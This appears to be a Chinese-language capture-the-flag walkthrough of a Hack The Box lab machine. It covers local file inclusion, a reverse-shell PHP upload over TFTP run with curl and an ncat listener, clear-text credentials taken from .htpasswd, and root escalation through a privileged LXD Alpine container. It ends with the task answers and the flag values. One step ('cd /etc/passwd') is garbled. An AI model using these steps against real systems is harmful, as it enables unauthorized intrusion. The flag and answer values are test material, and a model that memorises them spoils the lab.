1.端口扫描
nmap -sV -sC 10.129.193.21
2.访问web站点
3.文件包含漏洞探测
观察请求地址:http://10.129.193.21/?
file=home.php
,利用file参数动态加载文件,尝试进行文件包含漏洞探测。
服务器操作系统是ubuntu,尝试包含/etc/passwd
文件,成功访问/etc/passwd
4.TFTP利用
在包含/etc/passwd文件后,发现存在mike、tftp用户。
TFTP (Trivial File Transfer Protocol)是一种简单的协议,提供基本的文件传输功能,不需要用户身份验证。TFTP使用用户数据报协议(UDP)进行通信,适用于不需要文件传输协议(FTP)提供的复杂交互的应用程序。
通过上述描述可知:TFTP运行在UDP端口上,并且不需要身份验证。
TFTP服务器已经连接上,可以上传下载文件,此时可以通过TFTP服务器上传一个反弹shell,使用文件包含漏洞执行shell。
# 使用TFTP连接工具
tftp 10.129.193.21
put reverse-shell.php
5.利用文件包含反弹shell
# 开启监听
ncat -nvlp 1234
文件包含执行reverse-shell.php文件,TFTP文件路径在之前读取/etc/passwd的时候已经发现:/var/lib/tftpboot
# 利用文件包含执行reverse-php.shell
curl "http://10.129.193.21/?file=/var/lib/tftpboot/reverse-shell.php"
# 获取交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
6.UDP端口扫描
UDP扫描需要root权限
sudo nmap -sU 10.129.193.21
1.在/var/www/html文件夹下查找mike用户相关信息
cd /etc/passwd
ls -la
2.读取.htpasswd文件
# 发现mike用户账号和密码:mike:Sheffield19
cat .htpasswd
3.切换到mike用户
su mike
Sheffield19
1.使用 id 命令显示mike用户身份信息
LXD解析
:
LXD是一个管理API,用于在Linux系统上处理LXC容器。它将为本地lxd组的任何成员执行任务。 LXD 是一个根进程,它对任何对 LXD UNIX 套接字具有写入权限的人执行操作。它通常不会尝试匹配调用用户的权限。本地“lxd”组的成员可以立即将权限提升到主机操作系统上的 root 权限。这与该用户是否被授予 sudo 权限无关,并且不需要他们输入密码。即使使用 LXD snap 软件包,该漏洞也存在。
2.LXD权限提升
1 下载 lxd-alpine-builder.git
git clone https://github.com/saghul/lxd-alpine-builder.git
2 开启http server
python3 -m http.server 8000
4.将alpine镜像导入lxd,并验证导入是否成功
lxc image import ./alpine.tar.xz --alias Alpine
lxc image list
5.将目标主机的根目录挂载到镜像里的/mnt/root目录下
lxc init Alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
6.启动pricesc,并从中启动一个shell
lxc start privesc
lxc exec privesc /bin/sh
查看root flag
Tags
PHP、Web、Network、Custom Applications、Protocols、Apache、TFTP、LXD、Reconnaissance、Local File Inclusion、Clear Text Credentials、Arbitrary File Upload
译文:PHP、Web、网络、自定义应用程序、协议、Apache、TFTP、LXD、侦察、本地文件包含、明文凭据、任意文件上传
Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
SPAWN MACHINE
Spawn the target machine and the IP will show here.
译文:生成目标机器,IP 将显示在此处
TASK 1
What service is running on the target machine over UDP?
译文:目标计算机上通过 UDP 运行什么服务?
答:tftp
TASK 2
What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?
译文:端口 80 上托管的网页容易受到哪一类漏洞的攻击?
答:Local File Inclusion
TASK 3
What is the default system folder that TFTP uses to store files?
译文:TFTP 用于存储文件的默认系统文件夹是什么?
答:/var/lib/tftpboot/
TASK 4
Which interesting file is located in the web server folder and can be used for Lateral Movement?
译文:哪个有趣的文件位于 Web 服务器文件夹中,可用于横向移动?
答:.htpasswd
TASK 5
What is the group that user Mike is a part of and can be exploited for Privilege Escalation?
译文:用户 Mike 所属的组是什么,可以被用于权限提升?
答:lxd
TASK 6
When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?
译文:当使用映像通过容器利用系统时,我们会寻找一个非常小的分布。我们最喜欢的这项任务是以山脉命名的。该发行版名称是什么?
答:Alpine
TASK 7
What flag do we set to the container so that it has root privileges on the host system?
译文:我们为容器设置了什么标志,以便它在主机系统上具有 root 权限?
答:security.privileged=true
TASK 8
If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?
译文:如果根文件系统挂载在容器的 /mnt 中,那么挂载主机系统后,在容器上的什么位置可以找到根标志?
答:/mnt/root/
SUBMIT FLAG
Submit user flag
译文:用户flag
答:a56ef91d70cfbf2cdb8f454c006935a1
SUBMIT FLAG
Submit root flag
译文:提交root flag
答:c693d9c7499d9f572ee375d4c14c7bcf